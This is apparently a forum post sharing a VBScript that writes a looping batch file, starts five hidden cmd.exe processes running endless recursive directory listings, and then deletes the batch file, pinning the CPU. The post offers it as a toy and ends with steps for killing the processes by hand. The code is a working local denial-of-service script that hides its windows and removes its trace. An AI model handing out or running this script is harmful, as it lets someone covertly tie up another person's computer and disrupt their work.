Hello evrybody
This little script allows you to mount the percentage of your CPU. Its principle is to create a loop with a bath to fill your processor. I will let you enjoy this script.
::\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
on error resume next
file="C:\file.bat"
command="cmd /k" & file
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set fso=createobject("scripting.filesystemobject")
set file=fso.createtextfile(file,true)
Set objProcess = objWMIService.Get("Win32_Process")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.showWindow = 0
objConfig.FillAttribute = 8
file.writeline("@echo off")
file.writeline(":start")
file.writeline("dir /s /b ")
file.writeline("goto :start")
file.close
for i = 0 to 4
intReturn = objProcess.Create(command, Null, objConfig, intProcessID)
next
file.delete
::\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
If you want to find the normal state of your CPU:
go to Task Manager
Select the Performance tab
select all process cmd.exe
and kill
Do not forget to drop your comments